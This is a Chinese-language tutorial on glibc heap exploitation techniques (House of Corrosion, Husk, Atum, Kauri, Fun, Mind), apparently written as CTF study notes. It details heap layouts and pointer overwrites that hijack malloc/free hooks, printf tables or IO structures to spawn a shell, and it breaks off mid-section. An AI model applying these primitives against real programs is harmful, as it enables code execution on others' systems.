申请 Chunk U (Unsorted): 比如 malloc(0x3f0)。它的大小必须比 L 小一点点,它将来会被送入 Unsorted Bin。
申请 Guard 2: 比如 malloc(0x18)。防止 U 与 Top Chunk 合并
[ 阶段一:初始堆布局 ]
+------------------+
| Chunk L (0x410) | ---> 准备用于 Large Bin Attack
+------------------+
| Guard 1 (0x20) | ---> 隔离墙
+------------------+
| Chunk U (0x400) | ---> 准备用于 Unsorted Bin Attack
+------------------+
| Guard 2 (0x20) | ---> 隔离墙
+------------------+
| Top Chunk |
+------------------+
释放 Chunk L: free(L)。此时 L 进入 Unsorted Bin。
申请一个更大的 Chunk: 比如 malloc(0x420)。为了满足这个巨大的请求,系统会遍历 Unsorted Bin,发现 L 不够大,于是把 L 踢进 Large Bin 中进行分类整理。
释放 Chunk U: free(U)。此时 U 进入 Unsorted Bin
[ 阶段二:链表状态 ]
Large Bin:
[Head] ---> Chunk L ---> [Tail]
Unsorted Bin:
[Head] ---> Chunk U ---> [Tail]
现在,利用堆溢出或 UAF 漏洞,开始对 L 和 U 写入恶意的指针。假设我们的目标地址是 Fake_Chunk(比如 __free_hook 附近)
写入操作:
- 修改 U (Unsorted Bin Attack): 将
U->bk修改为Fake_Chunk。 - 修改 L (Large Bin Attack):
- 将
L->bk修改为Fake_Chunk + 0x08。 - 将
L->bk_nextsize修改为Fake_Chunk - 0x20 + 3
- 将
[ 阶段三:篡改后的指针指向 ]
Chunk U:
bk ---> Fake_Chunk
Chunk L:
bk ---> Fake_Chunk + 0x08
bk_nextsize ---> Fake_Chunk - 0x20 + 3
万事俱备,最后一步:申请一个大小为 0x48 的 Chunk(对应 0x50 的 bin)。 执行 malloc(0x48) 时,系统开始处理 Unsorted Bin 里的 Chunk U,发现它大小不符合 0x50,准备把它也塞进 Large Bin 里
系统执行 U->bk->fd = main_arena
由于 U->bk 是 Fake_Chunk,系统将 main_arena 写入了 Fake_Chunk + 0x10(即 fd 字段)
接下来把U放到Large Bin里,但是发现里面已经放着一个比自己还大的chunk L,然后需要更新大小顺序链表
为了把 U 挂到 L 后面较小块的位置,glibc 执行了以下核心代码: L->bk_nextsize->fd_nextsize = U;
写入位置是:(Fake_Chunk - 0x20 + 3) + 0x20 = Fake_Chunk + 3 (fd_nextsize 这个字段的偏移量固定是 +0x20)
系统把 U 的堆地址(比如 0x000056AABBCCDDEE)写到了这里
这个地址最高位的字节 0x56,刚好向后偏移了 5 个字节,完美落在了 Fake_Chunk + 0x08 的位置,也就是 Chunk 的 Size 字段
系统在检查 Size 时,读取 +0x08 到 +0x0F 的值,读出来的就是 0x0000000000000056,强行“拼”出了一个合法的大小
[ 错位写内存推演图 ]
内存偏移: +0 +1 +2 | +3 +4 +5 +6 +7 | +8 +9 +A +B +C +D +E +F
原本字段: [ prev_size (8字节) ] | [ Size (8字节) ]
开始写入堆地址 (0x000056AABBCCDDEE) -> 从 +3 开始写:
+3 处写入: EE
+4 处写入: DD
+5 处写入: CC
+6 处写入: BB
+7 处写入: AA
======================== 跨界分割线 ========================
+8 处写入: 56 <---- 奇迹发生!
+9 处写入: 00
+A 处写入: 00
系统尝试更新双向链表,执行 L->bk->fd = U。 写入位置是:(Fake_Chunk + 0x08) + 0x10 = Fake_Chunk + 0x18。 系统把 U 的堆地址写到了这里,成为了 Fake_Chunk 的 bk 指针
[ 完成后的 Fake_Chunk 内存布局 ]
地址 字段 内容及来源
-----------------------------------------------------------
Fake_Chunk+0x00 | prev_size | (不在乎)
Fake_Chunk+0x08 | Size | 0x56 (来自堆地址最高位,错位写入)
Fake_Chunk+0x10 | fd | main_arena (来自 Unsorted Bin Attack)
Fake_Chunk+0x18 | bk | 0x56AABBCCDDEE (来自 Large Bin Attack)
此时的 Fake_Chunk 完美伪装成了一个大小为 0x56(掩码后为 0x50),且拥有合法 libc 和 heap 链表指针的空闲块!
紧接着,系统的 malloc(0x48) 循环继续执行,它顺着链表立刻就发现了这个“崭新”的、大小正好为 0x50 的块。 检查通过,分配成功!你拿到了任意地址的写权限
需要注意的是:
0x55 会触发 assert 断言,0x56 才能成功
因为我们前面系统把main_arena写入了fake chunk,所以其实取fake chunk的时候是从unsorted bin里取的
House of Corrosion
适用版本:2.23—— 至今
堆溢出、use after free
了解利用之前,我们需要知道在 glibc 中,Fastbin 默认只处理非常小的 chunk(比如 0x80 以下)。这个上限是由一个全局变量 global_max_fast 控制的
我们需要一个足够大的 Chunk,以及一个防止它和 Top Chunk 合并的保护块
[ 初始堆布局 ]
+------------------+
| Chunk U (0x420) |
+------------------+
| Guard (0x30) | ---> 隔离墙,处于使用状态
+------------------+
| Top Chunk |
+------------------+
free(U)
此时,Chunk U 被放入了 Unsorted Bin
系统会自动在它的 fd 和 bk 里写入 main_arena+88 的真实地址
[ 释放 U 之后的内存状态 ]
+-------------------------+
| Chunk U |
| Size: 0x420 |
| fd: 0x7f...B58 (main_arena+88) |
| bk: 0x7f...B58 (main_arena+88) | ---> 注意这个 bk
+-------------------------+
由于 global_max_fast 和 main_arena 都在 libc 的数据段里,它们之间的距离(偏移量)是永远固定的。 因此,它们的真实地址在高位上完全一样,只有最后几个十六进制字符不同
利用溢出或 UAF 漏洞,向 Chunk U 的 bk 字段写入 2 个字节
写入的内容是:(&global_max_fast - 0x10) 的最后两个字节(因为 Unsorted Bin Attack 会向 目标地址 + 0x10 的位置写入数据)
[ 局部覆盖推演图 ]
原始 bk 里的值 (main_arena+88):
0x7fxx xxyy yB58 (假设倒数第4位 y 是随机的)
目标地址 (&global_max_fast - 0x10):
0x7fxx xxyy yED0 (假设调试出的固定末尾是 ED0)
【局部篡改动作】
只覆盖最后两字节,试图把 bk 强行掰弯指向目标:
bk: 0x7fxx xxyy yED0 <--- 这里的 'y' 需要我们盲猜 (1/16 概率爆破)
然后再malloc(0x410)
当你申请一个和 Chunk U 刚好一样大的内存时,系统遍历 Unsorted Bin,发现完美匹配,准备把它摘下来给你
系统执行解链操作:U->bk->fd = main_arena+88
系统执行: *( (&global_max_fast – 0x10) + 0x10 ) = main_arena_address
也就是: *( &global_max_fast ) = main_arena_address
[ libc 数据段的最终结局 ]
篡改前:
+-------------------------+
| global_max_fast | ===> 值: 0x0000000000000080 (正常的 Fastbin 限制)
+-------------------------+
触发 malloc(0x410) 之后:
+-------------------------+
| global_max_fast | ===> 值: 0x7fxxxxxyyyB58 (变成了极其巨大的地址数值)
+-------------------------+
现在,就算你释放一个大小为 0x4000 的 Chunk,glibc 也会傻乎乎地把它当成 Fastbin chunk 来处理
在 glibc 的源码中,Fastbin 是一个数组 fastbinsY。系统通过 Chunk 的大小来计算它属于数组的第几个元素(Index):
$$
Index = \frac{Size – 0x20}{0x10}
$$
同时,在物理内存中,由于每个数组元素是一个指针(64位系统下占 8 个字节),目标地址 $X$ 距离数组开头 &main_arena.fastbinsY 的物理偏移量 $\Delta$ 可以转化为数组的索引:
$$
Index = \frac{X – \&main\_arena.fastbinsY}{8}
$$
我们将这两个公式等价代入,解出我们需要的 Size:
$$
\frac{Size – 0x20}{0x10} = \frac{X – \&main\_arena.fastbinsY}{8}
$$
$$
Size – 0x20 = (X – \&main\_arena.fastbinsY) \times 2
$$
$$
Size = (X – \&main\_arena.fastbinsY) \times 2 + 0x20
$$
只要给定目标地址 X,算出一个 Size,然后释放这个大小的 Chunk,系统就会精准地把 X当作 Fastbin 的链表头
目标点 X:我们要篡改的地方,这里假设看成是 __malloc_hook
接下来申请 Chunk O (Overflow,用来实施溢出),再申请 Chunk A
我们通过公式算出对应的size,然后用chunk0的溢出将 Chunk A 的 Size 改为X (__malloc_hook) 的尺寸
Size_X: 能够让 Fastbin 索引刚好定位到 __malloc_hook 的大小。
Size_M: 能够让 Fastbin 索引刚好定位到 main_arena.bins[0] 的大小(这里面必定存着 main_arena+88 这个真实的 libc 地址)
利用 Chunk O 溢出写 Chunk A 的头部:
+-------------------------+
| Chunk O 内部数据 |
| ... |
| 溢出覆盖 A 的 prev_size |
| 溢出覆盖 A 的 Size 为 Size_X |
+-------------------------+
| Chunk A 数据区 | ---> 随后执行 free(A)
+-------------------------+
然后 free(A)系统把 X 当作链表头,指向了 A
[ libc 数据段: __malloc_hook (目标 X) ]
|
V (系统认为这是链表头)
+-------------------------+
| 堆区: Chunk A |
| fd: (malloc hook 里的垃圾) |
+-------------------------+
再次利用 Chunk 0溢出,将 Chunk A 的 size 改为 Size_M。再次执行 free(A)
系统根据 Size_M 计算出另一个 Fastbin 索引,将 main_arena.bins[0] 视为链表头。它将 Chunk A 插入此链表,并将 bins[0] 中原本存放的真实 libc 地址赋值给 Chunk A -> fd
[ 步骤二完成后的内存状态 ]
[ glibc 数据段 ]
__malloc_hook ----------------> [ 堆区: Chunk A ] <----(此时 A 同时被两个链表头指向)
|
main_arena.bins[0] ------------> +--> fd: 0x7fxxxxxxB58
(被视为 fastbinsY[idx_M]) (成功获取了 main_arena+88 的真实地址)
此时 Chunk A 依然在堆上,且我们拥有 Chunk O 的溢出控制权。利用 Chunk O 溢出,只覆盖 Chunk A -> fd 的低 3 个字节,将其从 main_arena+88 的末尾修改为 one_gadget 的末尾(需要 1/4096 爆破)
[ 步骤三完成后的内存状态 ]
[ 堆区: Chunk A 内部数据 ]
修改前:
fd: 0x7fxxxxxx B58 (main_arena+88)
局部溢写后:
fd: 0x7fxxxxxx 123 (变成了 one_gadget 的绝对地址)
利用 Chunk 0溢出,将 Chunk A 的 size 改回 Size_X,执行 malloc(Size_X)
系统去处理 Size_X 的请求,定位到链表头 __malloc_hook。
发现链表头指向 Chunk A,决定将 Chunk A 分配出去。
核心动作: 系统执行 Fastbin 解链的标准代码 *head = chunk->fd。
在这里,head 就是 __malloc_hook,chunk->fd 就是我们刚刚修改好的 one_gadget 地址
[ 步骤四执行时的系统解链赋值 ]
系统底层代码等价于执行:
__malloc_hook = Chunk_A -> fd
[ 最终的 glibc 数据段状态 ]
__malloc_hook ===> 内容变为: 0x7fxxxxxx123 (one_gadget)
程序后续只要再次触发任意的 malloc 调用,就会直接执行 __malloc_hook 里的 one_gadget,拿到 Shell
需要注意的是:
- 在
glibc-2.37版本中,global_max_fast的数据类型被修改为了int8_u,进而导致可控的空间范围大幅度缩小 house of corrosion也可以拓展到tcachebin上
House of Husk
适用版本:2.23—— 至今
堆溢出,use after free
前置知识:
在 glibc 的设计中,printf 其实极其灵活。它允许程序员自己注册一些稀奇古怪的格式化控制符(比如你可以自己定义一个 %K,让它输出特定格式的时间)
为了实现这个功能,glibc 在内部维护了两个全局函数指针数组:
__printf_function_table__printf_arginfo_table
正常情况下,这两个表都是空的(NULL),printf 就会走速度极快的“默认解析路线”。
致命弱点: 一旦 __printf_function_table 不为空(哪怕它只是随便指向了一个非零的垃圾地址),printf 就会认为:“哦!程序员注册了自定义格式!”,从而切换到一条极其缓慢、且充满危险的“慢速解析路线”。
在这条慢速路线上,当 printf 解析到一个占位符(比如 %s)时,它会直接把字符 's' 的 ASCII 码作为数组下标,去 __printf_arginfo_table 里找对应的函数指针,并直接执行
还需要知道一点,_malloc_assert 报错时会打印 %s,当 malloc 内部的安全检查(比如检查 Top Chunk 的 Size)不通过时,它会调用 __malloc_assert 函数来抛出异常。这个函数的源码如下:
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
/* 重点看下面这一行!这是真正的致命字符串! */
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
了解这些之后,我们就可以开始利用了
先申请大块,布置堆块布局如下:
[ 堆区:申请阶段 ]
+-------------------+
| Chunk L3 (0x430) |
+-------------------+
| Guard (0x20) | ---> 隔离墙
+-------------------+
| Chunk B (0x410) |
+-------------------+
我们要劫持的是 %s 这个占位符,字符 's' 的 ASCII 码是 115(十六进制 0x73),对应的数组下标就是115
在 64 位系统中,一个指针占 8 字节。所以处理 %s 的函数指针,应该放在数组的 115 * 8 = 920(即 0x398)偏移处
利用编辑(Edit)或溢出漏洞,在 Chunk B 内部偏移为 +0x398 的位置,精准写入 one_gadget 的绝对地址
[ 堆区:伪造的 Chunk B 内部视角 ]
起始地址: 0x55xxxxxxB000 (Chunk B 的数据区开头)
+---------------------------------------------------+
| 偏移量 | 对应字符 | 填入的内容 |
+---------------------------------------------------+
| +0x000 | ASCII 0 | 0x0000000000000000 |
| +0x008 | ASCII 1 | 0x0000000000000000 |
| ... | ... | ... 全部用 0 填充 ... |
+===================================================+
| +0x398 | ASCII 115| 0x7fxxxxxx1234 (one_gadget) | <--- 写入one_gadget的绝对地址(对应 '%s')
+===================================================+
| ... | ... | ... |
+---------------------------------------------------+
free(L3),L3就会先进入Unsorted Bin,然后再malloc(0x500)
系统检查发现申请的块比L3大,接着把L3放入
然后free(Chunk B),把它扔进 Unsorted Bin 待命
接着就是Large bin attack
利用溢出或是uaf,篡改 L3 的 bk_nextsize
[ 陷阱布置完毕 ]
[ Large Bin 里的老大哥 L3 ]
bk_nextsize ===> __printf_arginfo_table - 0x20
[ Unsorted Bin 里的主角 Chunk B ]
肚子里装着 one_gadget,静静等待被插入。
我们再申请一个 malloc(0x500),系统去处理 Unsorted Bin 里的 Chunk B。发现它属于 Large Bin,而且比 L3 小
系统执行致命的插入代码:L3->bk_nextsize->fd_nextsize = Chunk B
也就是(__printf_arginfo_table – 0x20) + 0x20 = Chunk B
libc 数据段:
__printf_arginfo_table ===> [ Chunk B 的绝对堆地址 ]
(因为 Chunk B 的绝对地址被写进去了,而 Chunk B 的 +0x398 处早就被我们填好了 one_gadget,整个查表逻辑瞬间完美闭环
基础设施替换完毕,现在需要逼迫系统去调用 printf。 我们利用堆溢出,悄悄把堆底部的 Top Chunk 的 Size 字段破坏掉
在 64 位系统中,一个 Chunk 最起码要包含头部的字段,所以最小合法尺寸(MINSIZE)是0x20
[ 堆区末端:Top Chunk ]
破坏前:
Size ===> 0x0000000000020fe1 (正常的剩余空间)
利用堆溢出破坏后:
Size ===> 0x000000000000000f (极小的不合法数值)
最后malloc(0x20)
[ 内存接管的底层执行流 ]
1. 用户执行: malloc(0x20)
|
V
2. 系统检查: 去 Top Chunk 切割,发现 Size = 0x0F,内存损坏!
|
V
3. 触发保护: 系统调用 __malloc_assert 准备打印红色报错信息。
|
V
4. 调用格式化: 报错代码底层执行 printf("... %s ...")
|
V
5. 检查开关: printf 发现 __printf_function_table 不是 0!(进入查表模式)
|
V
6. 查表寻址: 遇到 "%s",提取字符 's' (ASCII 115)。
| 系统去 __printf_arginfo_table 找数组。
| 计算地址:Base + 115 * 8 = Base + 0x398
V
7. 提取指针: 系统来到 [ Chunk B + 0x398 ],取出了里面的指针。
|
V
8. 最终劫持: call 0x7fxxxxxx1234 (系统毫不犹豫地执行了 one_gadget)
需要注意的是:
这个手法需要保证__printf_function_table 不为0,
如果为0可以用同样的large bin attack 方法把这个值改成Chunk B 的地址也行,这样也达到不为0的效果
House of Atum
适用版本:2.26——2.30
edit after free
先申请一个chunkA属于 Fastbin 大小范围(比如大小为 0x50)
在 2.26 版本中,Tcache 的最大容量是 7 个,装满后就会退化使用 Fastbin。因为没有 Double Free 检查,我们直接对同一个 Chunk A 连续执行 8 次 free
前 7 次填满 Tcache,第 8 次溢出到了 Fastbin
[ 状态一:8 次 Free 后的物理内存与链表 ]
Tcache [0x50] (Count = 7,已满)
+-------------------+ +-------------------+
| Chunk A 地址 | ---> | Chunk A 地址 | ---> ... (自己指自己的死循环)
+-------------------+ +-------------------+
Fastbin [0x50]
+-------------------+ +-------------------+
| Chunk A 地址 | ---> | 0x000000000000000 | (空)
+-------------------+ +-------------------+
我们执行一次 malloc(0x40),系统会从 Tcache 拿走头部的 Chunk A 交给我们。 此时 Tcache 的 Count 减 1 变成了 6,腾出了一个空位
拿到控制权后,我们利用漏洞,向 Chunk A 写入 8 个字节的 payload:p64(A - 0x10)
[ 状态二:UAF 篡改 Fastbin 结构 ]
拿到 Chunk A 后,我们改写了它的 fd 字段。
系统眼里的链表变成了这样:
Tcache [0x50] (Count = 6,有 1 个空位)
+-------------------+
| Chunk A 地址 | ---> ... (依旧是死循环)
+-------------------+
Fastbin [0x50]
+-------------------+ +-------------------+
| Chunk A 地址 | ---> | 指向 A - 0x10 | <--- 假块被强行挂上去了!
+-------------------+ +-------------------+
系统看到 Fastbin 后面还挂着个 A - 0x10,而此时 Tcache 刚好还有一个空位(Count=6)。系统决定顺手把它搬运过去
[ 状态三:系统亲手将假块送入 Tcache ]
搬运完成后的链表状态:
Fastbin [0x50]
+-------------------+
| 0x000000000000000 | <--- 被完全掏空
+-------------------+
Tcache [0x50] (Count = 7,再次满员)
+-------------------+ +-------------------+
| 指向 A - 0x10 | ---> | 指向 Chunk A 地址 | ---> ...
+-------------------+ +-------------------+
(极其致命!我们的目标地址 A-0x10,现在成了 Tcache 的绝对头部!)
现在,我们再执行一次普通的 malloc(0x40)。 系统会非常听话地把 Tcache 顶端的 A - 0x10 这块“内存”分配给我们
我们拿到这块内存后,立刻往里面写数据,直接覆盖原本合法的 Chunk 结构体,这样就能修改chunk A的size了
[ 状态四:覆写内存现场 ]
你正在编辑刚刚申请到的 "A - 0x10" 内存块:
+-------------------+
| 写入的第 00-07 字节| ===> 物理覆盖了 Chunk A 的 prev_size
+-------------------+
| 写入的第 08-15 字节| ===> 物理覆盖了 Chunk A 的 size (改成巨大值构造 Overlap!)
+-------------------+
| 写入的第 16-23 字节| ===> 这里才是 Chunk A 原本的 fd (用户数据区)
+-------------------+
| 写入的第 24-31 字节| ===> Chunk A 原本的 bk
+-------------------+
后续利用前一般会在堆上申请几个块,比如Chunk B (0x20),Chunk C (0x50)
+-------------------+
| Chunk A (0x50) | <--- 我们刚才拿到了修改它头部的权限 (A - 0x10)
+-------------------+
| Chunk B (0x20) | <--- 正常使用中
+-------------------+
| Chunk C (0x50) | <--- 正常使用中
+-------------------+
| Top Chunk |
+-------------------+
我们利用刚拿到的 A - 0x10 控制权,强行修改 Chunk A 的 Size。 原本 A 的 Size 是 0x50,我们把它改成 0x50 + 0x20 + 0x50 = 0xC0
系统现在认为,从 Chunk A 开始,下方 0xC0 大小的区域,是一个完整、巨大的堆块!它完全无视了 B 和 C 的存在
+-------------------+ \
| Chunk A 头部 | |
| Size ===> 0xC0 | |
+-------------------+ |
| Chunk A 数据区 | |
+-------------------+ | ===> 系统眼中:这是一个包含 ABC 的 0xC0 巨型块!
| Chunk B (0x20) | |
+-------------------+ |
| Chunk C (0x50) | |
+-------------------+ /
为了利用这种幻觉,我们要进行两次释放。
free(C):释放受害者。系统正常把 Chunk C 放入 Tcache [0x50] 的链表中。free(A):释放那个被我们篡改了 Size 的巨型块。系统把它放入 Tcache [0xC0](或者 Unsorted Bin,取决于大小设定)
然后我们立刻把巨型块申请回来:malloc(0xB0),注意此时Chunk C 此时依然挂在 Tcache [0x50] 的空闲链表上
你通过 malloc(0xB0) 拿到了巨型块的写入权:
+-------------------+
| 巨型块 写入范围 |
| (原本 A 的位置) |
+-------------------+
| 巨型块 写入范围 |
| (原本 B 的位置) |
+-------------------+
| 巨型块 写入范围 | <--- 你可以直接往这里写数据!
| (原本 C 的位置) | ===> !!!同时它也是 Tcache [0x50] 链表的头部
+-------------------+
这等同于你直接掌握了 Tcache 链表的 next 指针!
你在这个巨型块的对应偏移处(也就是 C 的数据区开头),写入目标函数的绝对地址,比如 __free_hook
[ Tcache [0x50] 的链表视角 ]
原本:
头部指针 ===> [ Chunk C ] -> 0x00...00
你利用巨型块跨界覆写 C 的前 8 字节后:
头部指针 ===> [ Chunk C ] -> [ __free_hook 的绝对地址 ]
第一次 malloc(0x40):系统去 Tcache [0x50] 拿内存,把 Chunk C 分配给了你。 此时,Tcache 的头部指针,顺着链表,指向了你刚才伪造的 __free_hook!
第二次 malloc(0x40):系统再次去 Tcache [0x50] 拿内存,它极其听话地把你要求的 __free_hook 所在的内存分配给了你!
你向拿到的这块内存中,写入 system 或者 one_gadget。
随便 free 一个内容是 "/bin/sh" 的堆块。系统调用 __free_hook,直接弹 Shell
House of Kauri
适用版本:2.26—— 至今
double free
简单说就是多个 tcachebin 链表中存放同一个 chunk
准备三个相邻的堆块。 我们需要一个用来实施溢出的 Chunk O,一个用来被连续释放两次的受害者 Chunk A,以及永远的隔离墙 Guard
[ 堆区:初始物理内存布局 ]
+-------------------+
| Chunk O (0x20) | ---> 角色:控制者 (拥有堆溢出漏洞)
+-------------------+
| Chunk A (0x20) | ---> 角色:受害者 (需要程序允许对它 free 两次)
+-------------------+
| Guard (0x20) | ---> 角色:物理隔离墙
+-------------------+
| Top Chunk |
+-------------------+
我们首先正常释放 Chunk A。 在 glibc 2.29+ 中,系统会在 A 的 bk 位置写入一个 tcache_key(通常是 tcache 结构体的地址),以此来防止你再次释放它
[ 状态一:第一次释放后的内存现场 ]
【链表视角】
Tcache [0x20]
+-------------------+
| 指向 Chunk A 地址 | ---> 0x00...00
+-------------------+
【堆区物理视角】
+-------------------+
| Chunk O (0x20) | (正常使用中)
+===================+
| Chunk A 的头部 |
| prev_size: 0x00 |
| size: 0x21 | <--- 真实的 Size 是 0x20 (末位 1 代表前块使用中)
+-------------------+
| fd (next): 0x00 |
+-------------------+
| bk (key): [密钥] |
+-------------------+
我们利用 Chunk O 的堆溢出漏洞,跨界写入数据,精准覆盖 Chunk A 的 size 字段。我们把它改成 0x31。
注意:我们不动那个 key,我们也根本不需要知道那个 key 是多少
[ 状态二:堆溢出篡改 Size ]
我们编辑 Chunk O,溢出覆盖到下方:
+===================+
| Chunk A 的头部 |
| prev_size: 0x00 |
| size: 0x31 | <--- 被我们强行改成了 0x31!
+-------------------+
| fd (next): 0x00 |
+-------------------+
| bk (key): [密钥] |
+-------------------+
接着我们对着同一个 Chunk A,再次执行 free(A)
系统的底层查重逻辑:
- 读取 A 的 Size,发现是
0x30。 - 系统得出结论:“哦,这是个 0x30 的块,我得去查
Tcache [0x30]的桶,看看里面有没有带着这把key的 Chunk A。” - 系统翻遍了
Tcache [0x30],里面干干净净(因为 A 之前被放进的是 0x20 的桶!)。 - 系统认为安全,没有重复释放
- 系统将 Chunk A 挂入了
Tcache [0x30]
[ 状态三:量子纠缠!同一个堆块挂在两个桶里 ]
Tcache [0x20]
+-------------------+
| 指向 Chunk A 地址 | ---> 空
+-------------------+
Tcache [0x30]
+-------------------+
| 指向 Chunk A 地址 | ---> 空
+-------------------+
既然 A 同时存在于两个桶里,这其实就是最完美的 Overlapping(内存重叠)
我们执行 malloc(0x30)。 系统会把 Tcache [0x30] 里的头牌——Chunk A 分配给我们
拿到 A 的控制权后,我们直接向里面写入 __free_hook 的地址。 因为 Chunk A 此时依然挂在 Tcache [0x20] 的桶里,我们写入的数据,在物理上直接覆写了 Tcache [0x20] 链表里的 next 指针
此时,系统在 Tcache [0x20] 眼里的链表变成了:
Tcache [0x20]
+-------------------+ +-------------------+
| 指向 Chunk A 地址 | ---> | 指向 __free_hook |
+-------------------+ +-------------------+
后续就正常的申请两次0x20然后把__free_hook改成system地址就行了
House of Fun
适用版本:2.23——2.30
堆溢出、use after free
说白了就是Large bin Attack
我们申请两个较大的 Chunk(A 和 B),确保它们属于 Largebin 的大小范围。我们将 Chunk A 释放,它会被放入 Unsorted bin,随后被整理进 Largebin。此时 Chunk B 仍在使用中。我们还有一个相邻的 Chunk O 准备用于溢出
[ Largebin ]
|
v
+=========================+
| Chunk A 的头部 (0x420) | (已经在 Largebin 中)
| prev_size: 0x00 |
| size: 0x421 | (PREV_INUSE位=1)
+-------------------------+
| fd: -> (Largebin Top) |
| bk: -> (Largebin Top) |
| fd_nextsize: A | (单节点链表,指向自身)
| bk_nextsize: A | (单节点链表,指向自身)
+-------------------------+
[ 物理内存从低到高 ]
+===================+
| Chunk O (0x20) | <-- 我们在使用它,用于稍后向下溢出
+===================+
| Chunk A (0x420) | <-- 目标块。位于 Largebin中
+===================+
| Guard 1 (0x20) | <-- 【关键!】永远不释放它,作为一堵墙,防止 A 和 B 合并
+===================+
| Chunk B (0x410) | <-- 稍后被释放,作为触发漏洞的 victim
+===================+
| Guard 2 (0x20) | <-- 防止 B 释放时与最底部的 Top Chunk 合并
+===================+
| Top Chunk |
+===================+
我们使用相邻的 Chunk O 进行堆溢出,覆盖 Chunk A 的关键指针。目标是将 bk_nextsize 修改为我们要写入的 Target_Addr - 0x20
+=========================+
| Chunk A 的头部 (0x420) |
| prev_size: 0x00 |
| size: 0x421 |
| fd |
| bk |
+-------------------------+
| fd_nextsize |
| bk_nextsize: [Target-0x20] | <--- 被我们强行改成了 目标地址 - 0x20!
+-------------------------+
我们释放 Chunk B,它会被放入 Unsorted bin
[ Largebin (已畸形) ] [ Unsorted bin ]
| |
v v
+=========================+ +===================+
| Chunk A 的头部 (0x420) | | Chunk B (0x410) | (即将被移入 Largebin)
| prev_size: 0x00 | | prev_size: 0x00 |
| size: 0x421 | | size: 0x411 |
| fd | +-------------------+
| bk | | fd |
+-------------------------+ | bk |
| fd_nextsize | +-------------------+
| bk_nextsize: [Target-0x20] |
+-------------------------+
我们在程序中申请一个比 Chunk B 更大的 Chunk
glibc 遍历 Unsorted bin,遇到了 Chunk B (0x410),发现它太小了
glibc 发现 Chunk B 属于 Largebin 大小,准备将其插入 Largebin。
glibc 会寻找插入位置,因为 B < A,B 会被链入 A 的“后面”
然后执行chunkA->bk_nextsize->fd_nextsize = chunk B
就是( [Target_Addr – 0x20] ) -> fd_nextsize = &Chunk B;
*(Target_Addr) = &Chunk B
[ glibc 执行链表插入...]
+-------------------------+
| 目标内存区域 (Target) |
+-------------------------+
| ... |
| Target_Addr - 0x20 | <---+
| | |
| [Target_Addr]: [B基址] | <---|--- 漏洞效果:此处成功写入了 Chunk B 的堆基地址!
+-------------------------+
后续的利用方法就很多了,这里就举个例子:
我们将 Target_Addr 设置为 libc 中的 _IO_list_all 指针。
写入堆地址后,系统的文件流链表头就被劫持到了我们在堆上伪造的 Chunk B 中
我们提前在 Chunk B 里精心伪造一个 _IO_FILE 结构体和对应的 vtable(虚表指针)
当程序调用 exit() 或者触发内存错误调用 abort() 时,会强制刷新所有的 IO 流。系统顺着 _IO_list_all 找到我们的伪造堆块,最终执行我们伪造的虚表函数(例如指向 system("/bin/sh")),直接 getshell
House of Mind
适用版本:2.23—— 至今
堆溢出
前置知识:在 glibc 中,主线程的堆叫 main_arena,而子线程的堆叫 non_main_arena。 为了区分,每个 Chunk 的 Size 字段最低 3 位里,除了代表前一个块是否使用的 P(0x1),还有一个 N(0x4),代表 NON_MAIN_ARENA
当对 Chunk A 执行 free(A) 时,系统会看一眼 Size:
- 如果没有
N标志(主线程):直接把 Chunk A 交给main_arena处理。 - 如果有
N标志(子线程): 系统需要找到这个子线程的 Arena 在哪。怎么找?它会直接把 Chunk A 的地址,向低地址对齐到一个巨大的边界(32位是 1MB,64位是 64MB)。系统坚信,在这个对齐的边界地址上,一定存放着一个heap_info结构体,里面写着真正 Arena 的地址
注:64MB 在十六进制下是 0x4000000。对齐操作就是 ptr & 0xFFFFFFFFFC000000
为了控制那个 64MB 对齐的边界,我们需要利用题目“可以分配任意大小的 chunk”的条件,申请一块极其巨大的内存(通常会触发 mmap),确保我们能覆盖到一个 0x4000000 对齐的地址
了解这些之后,就可以开始利用了
先malloc(0x4500000) (大约 70MB):我们称之为 Chunk M (Massive)。因为 64 位系统的对齐边界是 64MB (0x4000000),申请一个大于 64MB 的块,在物理上绝对能横跨并覆盖到一个完美的 64MB 对齐地址
然后malloc(0x20) Chunk O
再malloc(0x20) Chunk A (大小在 Fastbin 范围内)
[ 状态零:初始分配完毕的物理内存现场 ]
绝对物理地址
0x7f...A0000000 +------------------------------------+ <--- Chunk M 起始位置
| Chunk M (70MB 的巨型块) |
| (由于太大,系统使用 mmap 分配) |
| |
0x7f...C0000000 +====================================+ <--- 极其关键的 64MB 对齐边界!
| (这块边界刚好落在 Chunk M 的肚子里)|
| 我们对这里拥有绝对的读写控制权! |
| |
0x7f...E5000000 +------------------------------------+ <--- Chunk M 结束位置
| (内存间隙 / 其他映射区) |
0x55...00010000 +------------------------------------+ <--- 常规堆区 (brk)
| Chunk O (0x20) | <--- 我们的溢出源
+------------------------------------+
| Chunk A (0x20) | <--- 我们的受害者 (Fastbin 大小)
+------------------------------------+
假设我们的最终目标,是把 Chunk A 的堆地址,写入到目标的 GOT 表地址(假设叫 Target)
伪造 Fake Arena:在 Chunk M 的任意位置(或者干脆就在 Target 附近算好偏移),构造一个假的 malloc_state 结构体,使得它的 fastbinsY[idx] 数组刚好重合在 Target 地址上
伪造 heap_info:向那个刚好位于 0x7f...C0000000(64MB 对齐)的地址处写入数据。在这个结构体的开头,填入你刚才算好的 Fake Arena 的绝对地址
[ 状态一:在 Chunk M 内部署基础设施 ]
0x7f...C0000000 +------------------------------------+ 64MB 对齐边界
| Fake heap_info 结构体 |
| ar_ptr: [ Fake Arena 的绝对地址 ] |
+------------------------------------+
【算好偏移的 Fake Arena】
Fake Arena 起始 +------------------------------------+
| mutex (填 0) |
| flags (填 0) |
+------------------------------------+
| fastbinsY[0] |
| fastbinsY[1] (假设 Chunk A 对应此项)| ===> 物理坐标精准重合在 Target 上!
+------------------------------------+
向 Chunk O 发送过长的数据,触发堆溢出。跨界覆盖下方 Chunk A 的头部。 Chunk A 真实的 Size 是 0x21(代表大小 0x20,前块使用中)。我们加上 0x4(代表 NON_MAIN_ARENA)。 0x21 + 0x4 = 0x25
[ 状态二:堆溢出现场,A 的身份被篡改 ]
0x55...00010000 +------------------------------------+
| Chunk O 的头部 |
+------------------------------------+
| [ 你发送的垃圾填充数据... ] |
| |
0x55...00010020 +====================================+ <--- 物理边界被踏破
| Chunk A 的头部 |
